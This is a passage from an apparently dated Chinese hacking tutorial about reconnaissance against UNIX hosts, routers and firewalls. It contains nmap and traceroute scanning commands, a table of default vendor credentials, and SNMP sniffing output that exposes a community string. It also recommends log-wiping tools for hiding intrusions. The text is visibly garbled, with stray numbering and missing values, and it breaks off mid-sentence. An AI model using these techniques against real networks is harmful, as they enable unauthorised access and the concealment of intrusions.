改过的ssh版本也执行同 样的功能。
 嗅探程序:嗅探程序起源于对调试网络连通问题的工具的需求。它们实质是捕
获、解释并存贮流经某个网络的分组供以后分析用。下面是跟踪的一个例子。可看出有
一个名
为“guest”的用户以密码“guest”登陆。登陆完毕后, 执
行的所有命令也列了出来:
-----------------------------[SYN](slot1)
pc6=&target3[23]
%&&#’$ANSI”!guest
cat /etc/passwd
more hosts.equiv
more /root/.bash_history
 清空系统安全日志:攻击者通常都不
愿管理员看见自己在主机上留
下的系统日志, 因此擦除系统日志的工作就显得特别重要。其中推荐比较好的
程序有:zap.c、wzap.c、marry.c和remove.c等。
注:由于笔者对UNIX了解不很深,这些有遗漏的方面请大家指出,指正。谢谢!
第七章:网络设备
网络是任何公司的生命之血,然而缺省情况下,一般的公司局域网或广域网(分别简称
LAN和WAN)并不安全。这些脆弱点并不是小事,因为一旦攻击者拥有目标网络,他们也
就占有了整个公司了。
1、 发现:端口扫描可以使用我们在前面讨论的方法实现。检测和标2、 识网络上地设
备3、 只需要tracert、netcat和nmap等。
首先进行路径追踪,这样攻击者就可以确定自己与目标之间的各个主要路由器。这么做
,就能够准确标识路由器的为止,然后拿路由器开刀!从下面例子,你就能比较轻松标
识除路由器地址:
C:\&tracert 192.168.21.3
Tracert to (192.168.21.3),30 hops max,40byte packets
1 gate2 (192.168.10.1) 5.391ms 5.107ms 5.559ms
2 rtr1.bigisp.net (10.10.12.13) 33.374ms 33.443ms 33.137ms
3 rtr2.bigisp.net (10.10.12.14) 35.100ms 34.427ms 34.813ms
4 hssitrt.bigisp.net (192.168.0.1) 43.030ms 43.941ms 43.244ms
5 gate.Acme.net (192.168.21.3) 43.803ms 44.041ms 47.835ms
熟悉192.168.0.1为最后一跳后,我们就能确定它是一台转发网络分组的路由器,因此它
(以及该路径上的其他路由器)可能是攻击者首先探测的目标(实际上整个子网更像目
标)。然而获取一台路由器的IP地址与发掘其中某个脆弱点相差悬殊,在能够利用其任
何脆弱点之前,攻击者需要使用端口扫描、操作系统检测和信息泄漏技巧尝试标识它。
表:为标识网络设备,可扫描它们以找出常见的端口。
回想打开着的确定端口往往随协议栈的不同实现而定
硬件 TCP端口 UDP端口
Cisco路由器 21(ftp) 0(tcpmux)
23(telnet) 49(domain)
79(finger) 67(bootps)
80(http) 69(tftp)
512(exec) 123(ntp)
513(login) 161(snmp)
514(shell)
1993(Cisco SNMP)
1993(Cisco ident)
9001(Xremote service)
Cisco交换机 23(telnet) 0(tcpmux)
Bay路由器 21(ftp) 7(echo)
23(telnet) 9(discard)
67(bootps)
68(bootpc)
520(route)
Ascend路由器 23(telnet) 7(echo)
9(discard)
162(snmp-trap)
514(shell)
520(route)
由上表可知,如果我们正在寻找一个Cisco路由器,那么可以专门扫描1~25、80、512~
515、、这些TCP端口。因此我们可以扫描一下开始我们认为最后
一跳很可能是路由器的那个IP以确定是否为Cisco路由器。
[japleak@root]$nmap -p 1-25,80,512-515,01,9001
192.168.0.1
Starting nmap V.2.12 by Fyodor
(,www.insecure.org/nmap/)
Interesting ports on (192.168.0.1):
Port State Protocol Service
7 open tcp echo
9 open tcp discard
13 open tcp daytime
19 open tcp chargen
23 filteredtcp tcp telnet
2001 open tcp dc
6001 open tcp x11:1
从上面的结果我们可以相信这正是一台Cisco路由器,不过还不能确定,也不知道其操作
系统的版本。为了证实我们就厂家和操作系统级别所做的假设,我们就需要使用TCP协议
栈指纹鉴别技巧。
大多数Cisco路由器的另一个特征是在vty端口(23号和2001号TCP端口)上提供的典型“
User Access Verification”提示。简单的远程登陆(telnet)到前面叙述的这些端口
,我们就能得到如下的旗标:
User Access Verification
Password:
SNMP:简单的网络管理协议(SNMP)是设计来帮助管理员简单的管理网络设备的一个协
议。很多SNMP版本没有一个限制厂家提供出厂缺省的SNMP管理群名字,也不强制管理员
使用不易猜中的密码作为SNMP管理群名字。SNMP管理群有两个类型:读和读/写。SNMP读
管理群名字意味着只允许简单查看设备配置细节,例如系统描述、TCP和UDP连接以及接
口等条目。读/写管理群名字则允许管理员往设备写出信息。举例来说,管理员可使用S
NMP以一个简单的命令修改系统的联系人信息或增设一个路径:
Snmpset 10.12.45.2.1.3.6.1.2.1.1.s Smith
4、 后门:后门帐号是最难以理解的脆弱点之一,5、 这些帐号在允许厂家有能力绕过
被封闭了的管理员帐号,6、 然而7、 现实效果是给了攻击者提供了进入所在网络的后
 缺省帐号:下面我们以一个表把这些缺省帐号列出来:
表:有待修改的标准网络设备缺省用户名和密码
设备 用户名 密码 级别
Bay路由器 User 空 用户
Manager 空 管理员
Bay 350T交换机 NetICs 无关 管理员
Bay SuperStack II security security 管理员
3Com交换机 admin synnet 管理员
read synnet 用户
write synnet 管理员
debug synnet 管理员
monitor monitor 用户
manager manager 管理员
Cisco路由器 (telnet) c(Cisco 2600s) 用户
(telnet) cisco 用户
enable cisco 管理员
(telnet) cisco routers
Shiva root 空 管理员
Guest 空 用户
Webramp wradmin trancell 管理员
Motorola cablecom router 管理员
CableRouter
注:(telnet)表示直接用telnet不用输入用户名。
 网络设备
脆弱点:由于此方面内容很难实现, 加之笔者的
水平有限, 故不
准备 写出来,
有需要了解的朋
友可以跟我联系。见谅!
8、 共享式媒体对比交换式媒体:共享式媒体(例如以太网和令牌网)是近20年来传输
数据分流的传统设备,9、 称为带碰撞检测的载波侦听多路访问(Carrier Sense Mult
iple Access/Collision Detection,10、 简称NSMA/CD)的以太网是由Xerox公司设计
的。传统的以太网通过把发往目的节点的分组实际发送给所在网段上的每个节点来工作
。这么一来,11、 目的结点接收这些分组(其他节点也能接收),12、 并与其他节点
分享传输带宽。这里存在一个安全问题,13、 通过在共享媒体上发送分组,14、 实际
上同15、 一网段的所有监听设备16、 都接受到了这些分组,17、 这样也就给网络上信
息的安全性有了危险。
捕获SNMP信息:对于与目标系统同处一个共享式网段的内部攻击者来说,窃听该网络上
流动的分组是一个很好的办法。这里可以使用Sniffer Pro、snmpsniff等软件可以进行
网络数据的监听:
snmpsniff是一个非凡的工具,不仅能够攫取管理群名字,而且能够捕获SNMP的ser和ge
t请求。以如下参数运行snmpsniff时会发现一些有意思的输出信息:
[japleak@root]$./snmpsniff . sh
snmpsniffer:listening on eth0
(05:46:12) 172.31.50.100(secret)-&172.31.50.2
(ReqID:) GET:
&.iso.org.dod.internet.mgmt.mib-2.system.1.0&(NULL)=NULL
(05:46:12)
172.31.50.2(secret)-&172.31.50.100(ReqID:)
(Err:0):&.iso.org.dod.internet.mgmt.mib-2.system.1.0&
(Octet String)=OCTET STRING-(ascii):Cisco Internetwork Operating
Software...IOS(tm) 3000 Software (IGS-l-L),Version 11.0(16),Release
(fc1)..Copyright (c)
by cisco Systems,
Inc…Compiled
Tue 24-Jun-97 12:20 by jaturner
得到上面的信息后,攻击者现在可以知道一个所用的管理群名字之一(“secret”),
它碰巧是IP地址为172.31.50.2的路由器的读/写管理群名字。攻击者于是不仅能够使用
这个读/写管理群名字侵害已有的网络基础设备,而且能够通过关注其中SNMP分组的来源
(172.31.50.200)以获取新的目标,因为它通常是网络运行中心的一个系统。
第八章:防火墙
所谓防火墙,就是指一种将内部网和公众网访问网(Internet)分开的方法,实际是一
种隔离技术。当今市场上存在两类主导性的防火墙:应用代理和分组过滤网关。如果不
犯错误,从设计到配置再到维护都做得很好的防火墙差不多是不可渗透的。事实上,大
多数熟练的攻击者知道这一点,通过发掘信任关系和最薄弱环节上的安全脆弱点来绕过
防火墙,或者经由拨号帐号实施攻击来根本避开防火墙。
1、 防火墙的标2、 识:几乎所有的防火墙都会具有自己独特的电子“气味”。也就是
说凭借端口扫描、firewalk工具和旗标3、 攫取等技巧,4、 攻击者能够有效的确定目
标5、 网络上几乎每个防火墙的类型、版本和规则。一旦知道这些内容,6、 他们就可
以尝试一些已经发掘了的漏洞。
 直接扫描:查找防火墙最容易的方法就是对特定的缺省端口执行扫描。市场上
有些防火墙都会在特定的端口标
识自己。举例来说, CheckPoint的
Firewall-1在256、257和258号TCP端口监听,
Microsoft的Proxy Server则通
常在号TCP端口上监听。知道这一点后,
就可以使用nmap这样的端
口扫描程序来搜索这些类型的防火墙就能轻而 易举了:
nmap -n -vv -p0 -p256,2.168.50.1-60.254
其中-p0开关用于在扫描之前禁止ICMP ping。这一点很重要,因为大多数防火墙并不对
ICMP回射请求应答。这就是我们经常ping一些站点出现超时提示的原因。
路径跟踪:找到某个网络上的防火墙最妙的方法是使用tracert, 这
样可以找出到达主机的路径上的每一跳,
并做些检测工作。在Linux的Tracer
oute有一个-I选项, 它指
定发送ICMP分组执行路径跟踪,
这一点不同 于缺省发送UDP分组的技巧。
[japleak@root]$traceroute -I 192.168.21.3
Traceroute to (192.168.21.3),30 hops max,40byte packets
1 gate2 (192.168.10.1) 5.391ms 5.107ms 5.559ms
2 rtr1.bigisp.net (10.10.12.13) 33.374ms 33.443ms 33.137ms
3 rtr2.bigisp.net (10.10.12.14) 35.100ms 34.427ms 34.813ms
4 hssitrt.bigisp.net (192.168.0.1) 43.030ms 43.941ms 43.244ms
5 gate.Acme.net (192.168.21.3) 43.803ms 44.041ms 47.835ms
到达目标之前的最后一跳(192.168.0.1)是防火墙的机会很大,不过现在还不能肯定,
我们还要继续作一点挖掘工作。如果本地主机和目标服务器之间的路由器对TTL已过期分
组作出响应,那么上面的例子没有问题。但是有些路由器和防火墙设置成不返送ICMP T
TL已过期分组。这种情况下所作的推断就不科学了。你所作的就是开始运行traceroute
,查看哪一跳最后响应,然后推断它或者是真正的防火墙,或者是路径上开始阻塞路径
跟踪分组的第一个路由器,举例来说,下面的tr

我要回帖

更多关于 公司各部门 的文章

 

随机推荐